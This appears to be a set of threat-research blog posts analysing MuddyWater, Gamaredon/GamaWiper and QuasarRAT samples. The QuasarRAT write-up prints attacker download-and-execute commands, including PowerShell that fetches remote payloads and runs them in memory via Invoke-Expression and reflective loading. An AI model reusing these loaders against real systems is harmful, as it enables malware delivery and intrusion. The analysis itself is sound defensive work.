MuddyWater: When Your Build System Becomes an IOC “Jacob”


by Robin Dost

Today I was bored, so I decided to take a short break from Russian threat actors and spend a day with our friends from Iran instead.
I grabbed a sample attributed to MuddyWater (hash: "f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f", sample from here) and originally planned to do a fairly standard malware analysis.

That plan lasted about five minutes.

What started as a normal sample quickly turned into something much more interesting for me:
the developer didn’t properly strip the binary and left behind a lot of build artefacts, enough to sketch a pretty solid profile of the development toolchain behind this malware.

In this post I won’t go into a full behavioral or functional analysis of the payload itself.
Instead, I’ll focus on what we can learn purely from the developer’s mistakes, what kind of profile we can derive from them, and how this information can be useful for clustering and campaign tracking.
A more traditional malware analysis of this sample will follow in a future post.

Quick Context: Who Is MuddyWater Anyway?

Before going any further, a quick bit of context on MuddyWater, because this part actually matters for what follows.

MuddyWater is a long-running Iranian threat actor commonly associated with the Iranian Ministry of Intelligence and Security (MOIS). The group is primarily known for espionage-driven operations targeting government institutions, critical infrastructure, telecommunications, and various organizations across the Middle East and parts of Europe.

This is not some random crimeware operator copy-pasting loaders from GitHub like script kiddies.
We’re talking about a mature, state-aligned actor with a long operational history and a fairly diverse malware toolkit.

Which is exactly why the amount of build and development artefacts left in this sample is so interesting.
I think these aren’t rookie mistakes, they are operational trade-offs made by a capable actor who clearly prioritizes development speed and deployment over strict build sanitization and OPSEC hygiene.

And that makes those artefacts even more valuable for defenders.


The initial sample is a .doc file.
Honestly, nothing fancy just a Word document with a macro that reconstructs an EXE from hex, writes it to disk and executes it. Classic stuff.

I started with oleid:

oleid f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f.doc

As expected, the document contains VBA macros, so next step:

olevba --analysis f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f.doc

Clearly malicious. No surprises here.
To get a closer look at the macro itself, I exported it using:

olevba -c f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f.doc > makro.vba

Now we can see the actual macro code:

Apart from some typos and random variable names, most of this is just junk code.
What actually happens is pretty straightforward:

  • WriteHexToFile takes a hex string from UserForm1.TextBox1.Text, converts it to bytes and writes it to:
    C:\ProgramData\CertificationKit.ini
  • love_me__ constructs the following command from ASCII values:
99 109 100 46 101 120 101 = cmd.exe
32 47 99 32 = /c
67 58 92 80 114 111 + "gramData\CertificationKit.ini"
= C:\ProgramData\CertificationKit.ini

Final result:

cmd.exe /c C:\ProgramData\CertificationKit.ini

While the payload shows a clear shift towards modern Rust-based tooling, the document dropper still relies on “obfuscation” techniques that wouldn’t look out of place in early 2000s VBA malware. Turning strings into ASCII integers and adding unreachable trigonometric conditions mostly just makes human analysts roll their eyes. It provides essentially zero resistance against automated analysis, but hey, let’s move on.


Extracting the Payload

To extract the binary cleanly, I wrote a small Python script:

CLICK TO OPEN
# Author: Robin Dos 
# Created: 10.01.2025
# This scripts extracts binary from a muddywater vba makro

#!/usr/bin/env python3
import re
import sys
from pathlib import Path
import olefile

DOC = Path(sys.argv[1])
OUT = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("payload.bin")

STREAM = "Macros/UserForm1/o"

def main():
    if not DOC.exists():
        raise SystemExit(f"File not found: {DOC}")

    ole = olefile.OleFileIO(str(DOC))
    try:
        if not ole.exists(STREAM.split("/")):
            # list streams for troubleshooting
            print("stream not found. Available streams:")
            for s in ole.listdir(streams=True, storages=False):
                print("    " + "/".join(s))
            raise SystemExit(1)

        data = ole.openstream(STREAM.split("/")).read()
    finally:
        ole.close()

    # Extract long hex runs
    hex_candidates = re.findall(rb"(?:[0-9A-Fa-f]{2}){200,}", data)
    if not hex_candidates:
        raise SystemExit("[!] No large hex blob found in the form stream.")

    hex_blob = max(hex_candidates, key=len)
    # clean (jic) and convert
    hex_blob = re.sub(rb"[^0-9A-Fa-f]", b"", hex_blob)

    payload = bytes.fromhex(hex_blob.decode("ascii"))
    OUT.write_bytes(payload)

    print(f"wrote {len(payload)} bytes to: {OUT}")
    print(f"first 2 bytes: {payload[:2]!r} (expect b'MZ' for PE)")

if __name__ == "__main__":
    main()

In the end I get a proper PE32+ executable, which we can now analyze further.

SHA256 of the extracted payload:

7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58

If we check the hash on VirusTotal, we can see that the file is already known, but only very recently:

We also get multiple attributions pointing toward MuddyWater:

So far, nothing controversial, this is a MuddyWater RustyStealer Sample as we’ve already seen before.


Build Artefacts: Where Things Get Interesting

Now that we have the final payload, I loaded it into Ghidra.
First thing I always check: strings.

And immediately something interesting pops up:

The binary was clearly not properly stripped and contains a large amount of leftover build artefacts.
Most notably, we can see the username “Jacob” in multiple build paths.

No, this does not automatically mean the developer’s real name is Jacob.
But it does mean that the build environment uses an account named Jacob, and that alone is already useful for clustering.

So I went through all remaining artefacts and summarized the most interesting findings and what they tell us about the developer and their environment.

Operating System

Windows

Evidence:

C:\Users\Jacob\...
C:\Users\...\rustup\toolchains\...
windows-registry crate
schannel TLS

This was built natively on Windows.
No Linux cross-compile involved.

Programming Language & Toolchain

Rust (MSVC Toolchain)

Evidence:

stable-x86_64-pc-windows-msvc
.cargo\registry
.rustup\toolchains

Target Triple:
x86_64-pc-windows-msvc

This is actually quite useful information, because many malware authors either:

  • build on Linux and cross-compile for Windows, or
  • use the GNU toolchain on Windows

Here we’re looking at a real Windows dev host with Visual C++ build tools installed

Username in Build Paths

C:\Users\Jacob\

Again, not proof of identity, but a very strong clustering indicator.
If this path shows up again in other samples, you can (confidently) link them to the same build environment or toolchain.

Build Quality & OPSEC Trade-Offs

The binary contains:

  • panic strings
  • assertion messages
  • full source paths

Examples:

  • assertion failed: ...
  • internal error inside hyper...

Which suggests:

  • no panic = abort
  • no aggressive stripping
  • no serious release hardening focused on OPSEC

development speed and convenience clearly won over build sanitization

Which is honestly pretty typical for APT tooling, but this is still very sloppy ngl

Dependency Stack & Framework Fingerprint

Crates and versions found in the binary:

  • reqwest 0.12.23
  • hyper 1.7.0
  • tokio 1.47.1
  • aes-gcm 0.10.3
  • base64 0.22.1
  • h2 0.4.12

This already tells us quite a bit:

Network-Stack
  • Async HTTP Client
  • HTTP/1.1 + HTTP/2 Support
  • TLS via Windows Schannel

So no basic WinInet usage, this is a custom HTTP stack built on top of modern Rust libraries.

Crypto
  • AES-GCM
  • Base64 Encoding

likely:

  • encrypted embedded configuration
  • possibly encrypted C2 communication

Local Development Environment

Paths like:

.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\

Indicate:

  • standard Cargo cache layout
  • no Docker build
  • no CI/CD path patterns

So this was almost certainly built locally on the developer’s Windows workstation or VM.
Just someone hitting cargo build on their dev box.
Relatable, honestly

Compiler Version (Indirectly)

Multiple references to:

/rustc/ded5c06cf21d2b93bffd5d884aa6e96934ee4234/

This is the Rust compiler commit hash.

That allows fairly accurate mapping to a Rust release version
(very likely around Rust 1.92.0)

Which is extremely useful for:

  • temporal analysis of campaigns
  • toolchain reuse detection
Internal Project Structure (More Dev Leaks)
src\main.rs
src\modules\persist.rs
src\modules\interface.rs

That tells us a lot:

Modular Architecture
  • persist > persistence module
  • interface > C2 interface or command handling

So this is not just a single-purpose loader.
This is a modular implant much closer to a full backdoor framework than a simple dropper.


What This Tells Us About the Developer & Operation

Technical Profile

  • Rust developer
  • works on Windows
  • uses MSVC toolchain
  • builds locally, not via CI
  • comfortable with async networking
  • understands TLS and proxy handling

Operational Assumptions

  • expects EDR solutions (found a lot of AV related strings, but not to relevant tbh)
  • expects proxy environments
  • targets corporate networks
  • uses modular architecture for flexibility

OPSEC Choices

  • prioritizes development speed
  • does not heavily sanitize builds
  • accepts leakage of build artefacts (LOL)

Which again fits very well with how many state aligned toolchains are developed:
fast iteration, internal use, and limited concern about reverse-engineering friction

From a threat hunting perspective, these artefacts are far more useful than yet another short-lived C2 domain, they allow us to track the toolchain, not just the infrastructure

Gamaredon: Same Goal, Fewer Fingerprints


by Robin Dost

In malware analysis, it is tempting to describe change as innovation.
New tricks, new tooling, new malware families.
What is far more revealing, however, is how little actually changes and what changes anyway.

Between late November and the end of December 2025, several Gamaredon-related VBScript loaders surfaced that are, functionally, almost identical. They all execute the same mechanism, rely on the same execution primitive, and ultimately aim for the same outcome.

And yet, something does change, quietly, incrementally, and very deliberately.

This article focuses strictly on observable, concrete shifts in obfuscation, not assumptions, not intent inferred from tooling, and not architectural leaps that are not supported by the samples themselves.

For this analysis, I used the following samples:

Date of SampleHashDownload
19.12.20256de9f436ba393744a3966b35ea2254dde2f84f5b796c6f7bee4b67ccf96ccf0aDownload
22.12.20259218528a40a48a3c96df3b49a7498f6ea2a961f43249081b17880709f73392c1Download
25.12.20252c69fd052bfaa03cd0e956af0f638f82bc53f23ee8d0c273e688e257dac8c550Download
30.12.2025846748912aa6e86b9d11f6779af6aae26b7258f8610d5e28eff0083779737824Download


25 November 2025 – Noise Without Structure

The earliest sample is dominated by volume.

Characteristics:

  • Hundreds of variables that are written to once and never read again
  • Repeated arithmetic mutations (x = x + 14) without semantic relevance
  • Long linear execution flow
  • No variable declarations (Dim entirely absent)

The obfuscation here serves one purpose only: syntactic noise.

There is no attempt to:

  • Hide control flow
  • Delay string resolution
  • Reconstruct logic conditionally

Everything is present in the source, just buried under irrelevant assignments.

From an analyst’s perspective, this sample is noisy but predictable.
Once dead code is ignored, execution logic collapses into a short, linear sequence.


19 December 2025 – Indicator overload

The mid-December sample introduces a clear and measurable change: indicator density.

New observations:

  • A significant increase in hard-coded URLs
  • URLs pointing to unrelated, legitimate, and state-adjacent domains
  • No execution dependency on most of these URLs

Crucially, these URLs are not obfuscated. They are placed in plain sight.

This is not string hiding it is indicator flooding.

The obfuscation shift here is not technical complexity, but analytical friction:

  • Automated extraction produces dozens of false leads
  • IOC-based clustering becomes unreliable
  • Manual triage cost increases without changing execution logic

The loader still behaves linearly. What changes is the signal-to-noise ratio.


22 December 2025 – Defensive Reaction at the Payload Layer

The December 22 sample is not an obfuscation milestone, but it is a defensive one.

From a loader perspective, almost nothing changes:

  • The download URL is fully present and statically recoverable
  • No additional string hiding or control-flow manipulation is introduced
  • Execution remains linear and transparent

However, focusing solely on loader complexity misses the actual shift.

The real change happens at the payload layer

For the first time in this series, the loader delivers GamaWiper instead of Pterodo for Analysis environments.

This is not a neutral substitution.

As outlined in my earlier analysis of GamaWipers behavior, this payload is explicitly designed to:

In other words:
Gamaredon reacts defensively, just not in the loader yet.

Why obfuscation does not increase here

The absence of additional loader obfuscation is not a contradiction, but a signal.

At this stage:

  • The defensive burden is shifted entirely onto the payload
  • The loader acts as a transparent delivery mechanism
  • Analysis deterrence is achieved through destructive behavior, not concealment

This suggests a deliberate sequencing:

  1. Introduce a hostile payload to counter analysis
  2. Observe detection and response
  3. Only then begin hardening the delivery mechanism itself

Why this sample matters

~ December 22 marks the point where Gamaredon stops merely being observed and starts actively responding.

Not by hiding better, but by ensuring that seeing the payload has consequences.

The subsequent increase in loader obfuscation after this date does not replace this strategy.
It complements it.

Payload hostility first.
Delivery hardening second.

Notably, this change occurs almost exactly four weeks after my article outlining practical approaches to tracking Gamaredon infrastructure went public.
Whether coincidence or feedback loop, the timing aligns remarkably well with the first observed deployment of GamaWiper as an anti-analysis response.


25 December 2025 – Control-Flow Noise Appears

The Christmas sample does not introduce new primitives, but it does introduce execution ambiguity.

Concrete changes:

  • Multiple .Run invocations exist
  • Not all of them result in meaningful execution
  • Several objects and variables are constructed but never used
  • Execution order is less visually obvious

This is not branching logic, but control-flow camouflage.

The analyst can still reconstruct execution, but:

  • Dead paths look plausible
  • Execution sinks are no longer unique
  • Automated heuristics struggle to identify the real one

The obfuscation no longer targets strings, it targets execution clarity.


30 December 2025 – Fragmented Runtime Assembly

The final sample introduces the most tangible structural changes.

Observed differences:

  • Systematic use of Dim declarations
  • Extensive use of short, non-semantic string fragments
  • Assembly of execution-relevant strings via repeated concatenation across distant code sections
  • No complete execution string exists statically
  • Domains are just random invalid Domains

At no point does the full execution command exist as a contiguous value in the source.

Instead:

  • Fragments are combined
  • Recombined
  • Passed through intermediate variables
  • Finalized immediately before execution

This directly degrades:

  • Static string extraction
  • Signature-based detection
  • Regex-driven tooling

No encryption is added.
The shift is purely architectural.


05 January 2026 – Added Datetime Parameter to URL

EDIT 07.01.2026: I added this part as new findings appeared

Since early January, another small but relevant change appeared in the loader logic.

The scripts now generate a date value at runtime:

This value is then embedded directly into the download path, resulting in URLs like:

.../UkrNet_02.01.2026/cutting/02.01.2026/hannah8342.pdf

From a detection standpoint, this is subtle but effective

This means:

  • payload paths change daily
  • static URL signatures age out immediately
  • and IOC reuse across campaigns becomes unreliable

Relation to Prior Observations

This behavior aligns closely with patterns discussed in my earlier article on GamaWiper and Gamaredon’s anti-analysis strategies, where delivery behavior adapts based on perceived execution context.

https://blog.synapticsystems.de/gamawiper-explained-gamaredon-anti-analysis/


What Actually Changed and What Did Not

What did not change:

  • Execution primitive
  • Loader purpose
  • Overall delivery mechanism

What did change:

  • When execution-relevant strings become complete
  • How many false execution paths exist
  • How much irrelevant context surrounds the real logic

This is not a rewrite.
It is iterative hardening.


Conclusion

These samples do not demonstrate innovation.
They demonstrate attention.

Each iteration removes one assumption analysts rely on:

  • “The string will exist somewhere”
  • “The execution path is obvious”
  • “Dead code looks dead”

Gamaredon did not add complexity for its own sake.
They added just enough friction to slow analysis and then stopped.

And that restraint is, in itself, the most telling signal.

GamaWiper Explained: Gamaredon’s “New” Anti-Analysis Weapon


by Robin Dost

After my recent blog posts covering Gamaredon’s ongoing PterodoGraph campaign targeting Ukraine, and following almost a full month of silence in terms of newly observed malware samples, fresh activity has finally resurfaced.

New samples have appeared, along with reports pointing to a component now referred to as GamaWiper.

It is important to note that GamaWiper, or at least very similar scripts has already been observed in Gamaredon operations in previous months.
From a purely technical standpoint, this functionality is therefore not entirely new.

What is new, however, is the context in which it is now being deployed.

In this article, I aim to shed some light on what GamaWiper actually is, why Gamaredon is actively delivering it at this stage of the infection chain, and what this shift tells us about the group’s current operational mindset.
What initially appears to be just another destructive payload instead turns out to be a deliberate control mechanism, one that decides who receives the real malware and who gets wiped instead

I’ll keep this post a bit shorter and focus only on what’s new, so it doesnt get boring.
If you’re looking for deeper technical details, please refer to my previous posts from 22.11.2025 and 13.11.2025, where I covered the core mechanics in depth.

For this analysis, I’m using my deobfuscated version of the sample, next time i’ll maybe show you how to deobfuscate Gamaredon Scripts manually in less then 10 minutes.

After downloading the latest Gamaredon malware sample, it immediately became obvious that the current variants differ noticeably from what we’ve seen before.

SHA256: 6de9f436ba393744a3966b35ea2254dde2f84f5b796c6f7bee4b67ccf96ccf0a

Note: I started writing YARA Rules for Gamaredons current samples, you can find them here.


Key Changes at a Glance

  • Junk URLs now closely resemble real payload delivery URLs
  • No full Pterodo payload is delivered anymore 🙁
  • Gamaredon has hardened the delivery of Pterodo samples

Infection Flow – What Changed?

After the user opens the RAR archive and infects their system, the behavior initially looks familiar.
On reboot, the Pterodo sample is fetched again, but only if the client is geolocated in Ukraine, as already mentioned in my previous blog posts.

Previously, non-UA clients would simply receive:

  • an empty page, or
  • an empty file

Today, however, things look a bit different.

Instead, the client receives GamaWiper.


GamaWiper – Sandbox? Gone.

GamaWiper is essentially a sandbox / VM killer whose sole purpose is to prevent analysis environments from seeing anything useful.

In earlier campaigns, this wasn’t always handled very well.
For example, when I used Hybrid-Analysis, it was trivial to extract:

  • Telegram channels
  • Graph URLs
  • infrastructure relationships

This was a classic infrastructure design flaw and a great example of what budget cuts can do to an APT operation 😄

Today, however, the approach is much simpler:

If a sandbox is detected -> wipe it

No telemetry, no infrastructure leaks, no fun.

If you are a doing legit malware research interested in (deobfuscated) Samples from Gamaredon, you can write me an email.


Initial Loader: “GamaLoad”

The initial loader, which I’ll refer to as GamaLoad, implements a multi-stage payload fetch mechanism with dynamically constructed URLs and headers.
The goal is resilience: fetch stage two no matter what.

Note: All malicious domains have been removed.


Request Characteristics

Request Type

  • Method: GET
  • Client: msxml2.xmlhttp
  • Execution: synchronous

URL Structure

Each request fetches a randomly generated resource:

/<random>.<ext>
  • Random filename: 7-10 characters (a-z, 0-9)
  • Camouflage extensions, e.g.:
    • wmv
    • yuv
    • lgc
    • rm
    • jpeg

C2 Fallback Order

The script iterates through multiple sources until a valid payload is received:

  1. Argument URL (if passed at execution)
  2. Hardcoded fallback
  3. Cloudflare Workers domain
  4. Domain fetch using @ notation
  5. Abuse of the URL userinfo field
  6. Dynamic host via check-host.net
    • HTML parsing
    • live host extraction
  7. Alternative domain (again using @ notation)
  8. Registry-based URL

Once a working C2 is found, it is stored as a persistent C2 entry.


HTTP Headers

The request uses very explicit and intentionally crafted headers.

User-Agent

A browser-like string combined with a host fingerprint, including:

  • Computer name
  • Drive serial number (hex-encoded)
  • Timestamp
    • UTC+2
    • Ukrainian local time expected

Cookie

  • Static campaign identifier
  • Rotates regularly (more on that below)

Content-Length

  • Explicitly set
  • Even for GET requests

Enables victim identification & tracking
Also plays a role in proxy evasion (see below)


Success Condition

A request is considered successful when:

  • HTTP status is 200
  • Response size is greater than 91 bytes

Once this condition is met, all remaining fallbacks are skipped.


Payload Processing

  1. Payload received as binary
  2. UTF-8 conversion
  3. Cleanup (CR/LF, delimiters)
  4. Base64 decoding
  5. In-memory execution

No disk writes – classic fileless execution


Evasion Techniques

  • Multi-stage fallback logic
  • Dynamic hosts
  • Delays between requests
  • Victim-specific User-Agent

Below is an example of a fully constructed request header sent to the payload delivery host.


Payload Rotation

Gamaredon currently rotates payloads every 1-3 hours.

With each rotation, the following variables may change:

  • Domains for Payload Delivery
  • User-Agent
  • Cookie
  • Content-Length

Why Is Content-Length Set?

The Content-Length HTTP header specifies the size of the request or response body in bytes.
Its typical purpose is:

  • Defining message boundaries
  • Preventing truncated reads
  • Enabling correct stream handling

In this case, however, I strongly believe the header is set intentionally for tracking and proxy evasion.

Why?

The loader uses msxml2.xmlhttp.
When calling .send() via this client, the Content-Length header is not overwritten.

For a normal residential client, this is usually not an issue.
However, many HTTP/HTTPS proxies, especially residential and chained proxies fail to handle this properly and may:

  • break the connection
  • modify the request
  • normalize headers

This behavior is highly detectable.

My conclusion:
Gamaredon likely uses this mechanism to filter out proxy-based analysis setups.
The choice of client and header behavior is far too specific to be accidental.

So, if you end up receiving GamaWiper instead of a payload, now you know why.


Conclusion

Gamaredon has clearly tightened its operational security.

The infrastructure flaws that previously allowed easy extraction of internal details have been addressed, and sandbox detection has shifted from “leaky but useful” to “wipe and move on”.

While these changes will certainly disrupt some tracking and automated analysis systems, the overall approach feels… let’s say pragmatic, but somewhat heavy-handed.

Effective?
Yes.

Elegant?
Debatable 😄


QuasarRAT Malware Campaign using CVE-2025-6218


I am currently analyzing the recent surge of malware samples exploiting the WinRAR vulnerability CVE-2025-6218. During this research, I found a new sample on abuse.ch which appears to be part of a small QuasarRAT malware campaign.

What is CVE-2025-6218? (Short summary for this analysis)

This vulnerability enables:

  • Remote Code Execution (RCE)
  • Manipulated NTFS Alternate Data Streams (ADS)
  • Hidden paths / directory traversal / tampered extraction metadata

The exploit relies on:

  • Specially crafted file headers
  • Unexpected or malformed filename fields in the RAR block
  • ADS payloads such as file.txt:evil.exe embedded inside the RAR structure
  • WinRAR linking the ADS → extracting it → and executing the resulting file automatically

The SHA256 hash of the file is:

c67cc833d079aa60d662e2d5005b64340bb32f3b2f7d26e901ac0b1b33492f2f
You can download the file here.

After extracting the outer archive, we obtain another RAR file. Before unpacking it, we take a look at its contents in the hex view to check for anything suspicious.

xxd c67cc833d079aa60d662e2d5005b64340bb32f3b2f7d26e901ac0b1b33492f2f.rar| less

We can already see the suspicious ADS payload inside the RAR block.
With this confirmation, we proceed to extract the archive using 7-Zip.

After extraction, we obtain two files:

Coinme.py.txt
'Coinme.py.txt:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_0fyhds341.vbs'

The file Coin.me.py.txt contains a simple Python script that queries email addresses of coinme.com users.
You can find the script here.

Now we get to the interesting part — the file:

Coinme.py.txt:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_0fyhds341.vbs

It contains a short Visual Basic script:

The script downloads an HTML Application (HTA) file from a GitHub repository.
At the time of writing, both the repository and the user account have already been deleted. However, I uploaded a backup of the user’s repositories here.

Here is a screenshot of the repository and the associated profile:

Interestingly, the account only follows one inactive user with the Username “Levbohol / лев” :


Next, I inspected the verification.hta file that was downloaded from the repository.

The file contains a lightly obfuscated HTA script. I decoded the fromCharCode array into ASCII, resulting in the following code:

conhost.exe --headless cmd.exe /c powershell.exe -w h -ep bypass -c "
$t=Join-Path $env:TEMP 'svchost.bat'; 
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/Proscaution32/tessttxd312/refs/heads/main/ilovelovelove.txt' -OutFile $t -UseBasicParsing;
if(Test-Path $t){
    & conhost.exe --headless cmd.exe /c $t
}"

The script downloads yet another file named ilovelovelove.txt and executes it.
Let’s take a closer look at that text file.

We are now looking at a heavily obfuscated DOS batch file. The first things that stand out are numerous variable assignments using set ... and comments prefixed with the REM keyword.

The comments are merely junk intended to distract the analyst.
The variable assignments, however, are more complicated.

Some of the variables are never used anywhere in the script, these are clearly junk statements meant to confuse the reader.
Other variables are used during execution and must be isolated and replaced with their actual runtime values.
We also encounter various uninitialized variables, which are also junk, since they never carry a value.

Before proceeding, I remove all comments from the file.

sed -i '/^[Rr][Ee][Mm]/d' ilovelovelove.txt 

Next, I isolate all variables that can be identified as junk, meaning variables that are referenced but never assigned a value.

grep -oE '%[^%]+%' ilovelovelove.txt > isolated_set_commands.txt
while read -r line; 
  do x=$(echo "$line" | sed 's/%//g'); res="$(grep $x ilovelovelove.txt | wc -l)"
  if [ $res -lt 2 ]; 
    then echo "$line"; 
  fi
done < isolated_set_commands.txt >> removable.txt
rm isolated_set_commands.txt

I then remove all uninitialized variables from the script completely.

while read -r line; do sed -i "s|$line||g" ilovelovelove.txt; done < removable.txt 

The script is now much cleaner, but some junk variables still remain. These were not properly filtered out because they were detected as variable placeholders inside strings.
To handle this, we isolate them and remove any variable that does not have a corresponding set assignment.

I also found many Base64 strings in the script, but none of them appear to form recognizable structures at this point, so we ignore them for now.
Next, we replace every remaining variable with its assigned value.

For this purpose, I wrote a small helper script:

#!/bin/bash
grep -oE '%[^%]+%' ilovelovelove_copy.txt > usable.txt

while read -r line; do 
    fstr="$(echo $line | sed 's/%//g')"
    x=$(grep "set $fstr" ilovelovelove_copy.txt | wc -l)


    if [ $x -lt 1 ]; then
        sed -i "s|$line||g" ilovelovelove_copy.txt 
        continue
    fi

    value=$(grep "set $fstr" ilovelovelove_copy.txt | cut -d'=' -f2 )
    echo "$line $value"
    clean_line=$(echo -n "$line")
    clean_value=$(echo -n "$value")
    sed -i "s|$clean_line|$clean_value|g" ilovelovelove_copy.txt
done < usable.txt

After running the helper script, the cleaned batch script now looks like this:

After removing all ^M carriage returns, we obtain the following finalized version:

>> Click to open script <<

start conhost.exe --headless powershell.exe -ep bypass -w h -NoExit -c "
$Ab1CdE t-CimInstance -Namespace 'rootSecurityCenter2' -ClassName AntiVirusProduct -ErrorAction SilentlyContinue;
$fGh2IjK $false;

if ($Ab1CdE) {
    foreach ($Lm3NoP in $Ab1CdE) {
        $Qr4StU $Lm3NoP.displayName;

        if ($Qr4StU -like '*ESET Security*') {
            $Vw5XyZ 'https://files.catbox.moe/4q6yuz.txt';
            $Ab6CdE-Object System.Net.WebClient;;
            $Ab6CdE.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');;
            $Ef7GhI b6CdE.DownloadString($Vw5XyZ);;
            $Ab6CdE.Dispose();;

            $u  ('From'+'Base64'+'String');
            $Ij8KlM System.Convert].GetMethod($u).Invoke($null, @([string]$Ef7GhI));
            $No9PqR System.Text.Encoding]::UTF8.GetString($Ij8KlM);

            Invoke-Expression $No9PqR;
            $fGh2IjK rue;
            break;
        };

        if ($Qr4StU -like '*Malwarebytes*' -or $Qr4StU -like '*F-Secure*') {
            $St0UvW https://files.catbox.moe/qt6070.txt';
            $Xy1ZaB ew-Object System.Net.WebClient;;
            $Xy1ZaB.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');;
            $Cd2EfG $Xy1ZaB.DownloadString($St0UvW);;
            $Xy1ZaB.Dispose();;

            $u  'From'+'Base64'+'String');
            $Gh3IjK  [System.Convert].GetMethod($u).Invoke($null, @([string]$Cd2EfG));
            $Lm4NoP  [System.Text.Encoding]::UTF8.GetString($Gh3IjK);

            Invoke-Expression $Lm4NoP;
            $fGh2IjK $true;
            break;
        };
    };
};

Add-Type -AssemblyName System.Drawing, System.IO.Compression.FileSystem;;

$Qr5StU 'https://i.ibb.co.com/NfC1jKn/yu42mu5xn.png';;
$Vw6XyZ-Object System.Net.WebClient;;
$Vw6XyZ.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');;

$Ab7CdE $Vw6XyZ.DownloadData($Qr5StU);;
$Vw6XyZ.Dispose();;

$Ef8GhI w-Object IO.MemoryStream(,$Ab7CdE);;
$Ij9KlM stem.Drawing.Bitmap]::FromStream($Ef8GhI);;

$No0PqR $Ij9KlM.GetPixel(0,0);;
$St1UvW $Ij9KlM.GetPixel(1,0);;

$size uint32]$No0PqR.R -shl 24) -bor ([uint32]$No0PqR.G -shl 16) -bor ([uint32]$No0PqR.B -shl 8) -bor [uint32]$St1UvW.R;

$Xy2ZaB w-Object System.Collections.Generic.List[byte];

for ($y; $y -lt $Ij9KlM.Height; $y++) {
    for ($x; $x -lt $Ij9KlM.Width; $x++) {
        if ( ($x -eq 0 -and $y -eq 0) -or ($x -eq 1 -and $y -eq 0) ) {
            continue;
        };

        $p 9KlM.GetPixel($x,$y);;

        $Xy2ZaB.Add($p.R);;
        $Xy2ZaB.Add($p.G);;
        $Xy2ZaB.Add($p.B);;
    };
};

$Ij9KlM.Dispose();;
$Ef8GhI.Dispose();;

$Cd3EfG $Xy2ZaB.ToArray()[0..($size-1)];;

$Gh4IjK w-Object IO.MemoryStream(,$Cd3EfG);;
$Lm5NoP w-Object IO.MemoryStream;;

$Qr6StU w-Object IO.Compression.GZipStream($Gh4IjK, );;
$Qr6StU.CopyTo($Lm5NoP);;

$Qr%MknH%.Dispose();;
$Gh4IjK.Dispose();;

$Vw7XyZ $Lm5NoP.ToArray();;
$Lm5NoP.Dispose();;

foreach ($Ab8CdE in [AppDomain]::CurrentDomain.GetAssemblies()) {
    if ($Ab8CdE.GlobalAssemblyCache -and $Ab8CdE.Location.Contains('mscor'+'lib.dll')) {
        foreach ($Ef9GhI in $Ab8CdE.GetType(('System.Reflection.Assembly')).GetMethods('Public,Static')) {
            if ($Ef9GhI.ToString()[37] -eq ']') {
                $Ij0KlM 9GhI.Invoke($null,(,$Vw7XyZ));;

                $No1PqR $Ij0KlM.EntryPoint;;
                $St2UvW $No1PqR.GetParameters().Count;;

                if ($St2UvW -eq 0) {
                    $No1PqR.Invoke($null,$null);
                } else {
                    $No1PqR.Invoke($null,(,@()));
                };

                break;
            };
        };

        break;
    };
}
"

Analysis – What does the script actually do?


1. Detection of installed antivirus products

The script queries root\SecurityCenter2 via WMI to identify installed antivirus solutions.
Depending on the detected product, it downloads different Base64-encoded payloads, decodes them, and executes them in memory using Invoke-Expression.

2. Downloading a hidden payload from a PNG file

Regardless of the antivirus result, the script then downloads a PNG image from a remote URL.
This PNG contains embedded binary data stored inside pixel values (steganography).

The script:

  • reads each pixel,
  • reconstructs byte arrays from RGB values,
  • uses two pixels as payload length markers,
  • extracts the payload portion,
  • decompresses it via GZIP.

The result is a .NET assembly (DLL) extracted directly into memory.

3. Reflective loading of the DLL

The DLL is never written to disk. Instead, it is:

  • loaded directly into memory,
  • executed via .NET reflection,
  • its entry point is invoked (with or without parameters).

This technique avoids leaving artifacts on disk and bypasses many detection mechanisms.

4. Execution of the final malware payload

The final payload, typically a stealer or remote-control module, runs fully in memory.

The PNG image

The PNG image looks like this:

(For security reasons, a watermark is embedded in the displayed version. You can download the original PNG here.)

To extract the payload from the image, we can use a small Python script (included in the GitHub repository).
This produces a file called stage2_payload.bin with the SHA256 hash d6775da94945ff5cbd26a1711f69cecdce981386983d2f504914630639563c36.

A quick VirusTotal scan provides additional details:

VirusTotal classifies the malware as Zusy (also known as Barys).
Zusy is an older but still active family of Windows malware. It has appeared for many years in small-scale campaigns and is typically used to steal credentials, browser information, or banking data. It is written in native C/C++, to confirm this i’ll take a look into the file with Ghidra.


When analyzing a binary in Ghidra, the presence of functions named .ctor or .cctor is a strong indicator that the file contains .NET managed code. These method names come directly from the Common Language Runtime (CLR) and follow the naming conventions defined by the ECMA-335 Common Language Infrastructure (CLI) specification.

This indicates that we are not dealing with a typical Zusy malware sample, as Zusy does not use .NET managed code in any part of its execution chain.


I also uploaded the file to abuse.ch, where it was classified as “QuasarRAT”. This classification makes sense, as QuasarRAT is a remote access trojan written entirely in .NET.

QuasarRAT is a well-known open-source Windows remote access tool that has been abused by cybercriminals for years. It provides features such as keylogging, credential theft, file management, remote command execution, and real-time system monitoring. Because it is written in .NET, it is frequently modified, repacked, or extended by threat actors, making it easy to customize and embed into multi-stage loaders.

It is also interesting to examine the domains contacted by the malware.

The malware first retrieves the host’s public IP address using ipwho.is, and then contacts its command-and-control (C2) server hosted on the domain:

ihatefaggots.cc

This should be considered as an additional IOC.

Analyzing Malware distributed by Xubuntu.org

Yesterday I discovered a malware incident that was distributed via the official Xubuntu website.
There is already a Reddit post that largely corroborates the incident.



Today I’m going to take a closer look at that malware sample.
